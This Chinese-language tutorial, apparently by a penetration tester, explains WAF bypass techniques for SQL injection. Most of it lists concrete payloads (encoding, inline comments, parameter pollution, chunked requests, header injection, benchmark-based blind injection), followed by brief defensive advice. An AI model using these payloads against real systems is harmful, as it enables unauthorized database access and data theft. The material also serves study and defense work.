SQL注入绕过技术与WAF防御实战解析 1. SQL注入绕过的本质与防御逻辑SQL注入绕过的核心在于理解WAFWeb应用防火墙的检测机制与开发者的过滤逻辑。现代WAF通常采用多层检测策略包括关键字黑名单、语法分析、行为模式识别等。以MySQL环境为例当检测到union select、information_schema等敏感词时就会触发拦截。我常把WAF比作机场安检——它依靠预设规则识别危险物品但总有方法通过拆解、伪装或特殊包装让违禁品通过检查。比如将select写成sEleCt利用大小写变异或者用/*!50000select*/这种MySQL特有的内联注释语法。重要提示所有绕过技术都建立在目标存在SQL注入漏洞的前提下。如果开发人员正确使用预编译语句PreparedStatement这些绕过手法将全部失效。2. 常规WAF绕过手法精析2.1 编码与变形技术十六进制编码select→0x73656c656374URL编码→%27→%22Unicode编码→%u0027大小写混合UnIoN SeLeCt注释插入sel/**/ect、se%00lect实测案例在某个CMS的搜索功能中原始注入 union select 1,2,3--被拦截改用 uni%6fn sel%65ct 1,2,3%23成功绕过。2.2 等价替换方案当常见关键词被过滤时可用以下替代方案and 11→ 11MySQL逻辑与or 11→|| 11→like、rlike、regexpsleep(5)→benchmark(10000000,md5(test))特殊场景下甚至可以用数学函数构造布尔条件 || ascii(substr(database(),1,1))96 #3. 高级绕过技术实战3.1 HTTP参数污染(HPP)利用服务器对重复参数的处理差异?id1id2 union select 1,2,3--某些WAF只检查第一个参数而应用程序可能取最后一个参数值。3.2 分块传输编码(Chunked)通过修改HTTP头强制分块传输可以绕过部分基于正则表达式的WAF检测POST /search.php HTTP/1.1 Transfer-Encoding: chunked 4 id1 8 union 7 select 1 03.3 非常规注入点利用User-Agent/X-Forwarded-For头注入GET / HTTP/1.1 User-Agent: and 1convert(int,version)--JSON格式注入{username:admin-- ,password:any}4. 云WAF专项绕过技巧4.1 边界突破技术云WAF如阿里云、Cloudflare等常采用前置流量分析可通过以下方式突破超长参数构造超过8KB的参数值使WAF跳过检测畸形HTTP请求故意制造非标准换行符(\x0b)、错误的内容类型4.2 时间延迟盲注优化当直接布尔盲注被拦截时可采用分段延迟 || if(ascii(substr(user(),1,1))100, benchmark(10000000,md5(test)), 0) #5. 防御视角的深度思考作为渗透测试人员我总结出WAF绕过的三个黄金法则变形原则通过编码、注释、空白符等改变特征替代原则使用功能等效但语法不同的表达式环境适应原则根据具体数据库类型MySQL/MSSQL/Oracle调整语法而站在防御角度建议开发者严格使用参数化查询实施最小权限原则数据库账户仅需SELECT权限时不要给UPDATE对输入实施白名单验证而非黑名单过滤定期更新WAF规则库如ModSecurity的OWASP CRS在一次金融系统渗透中我通过组合/*!50000*/注释和分块传输编码成功绕过了某商业WAF的防护。这再次证明没有绝对的安全只有持续攻防对抗中的动态平衡。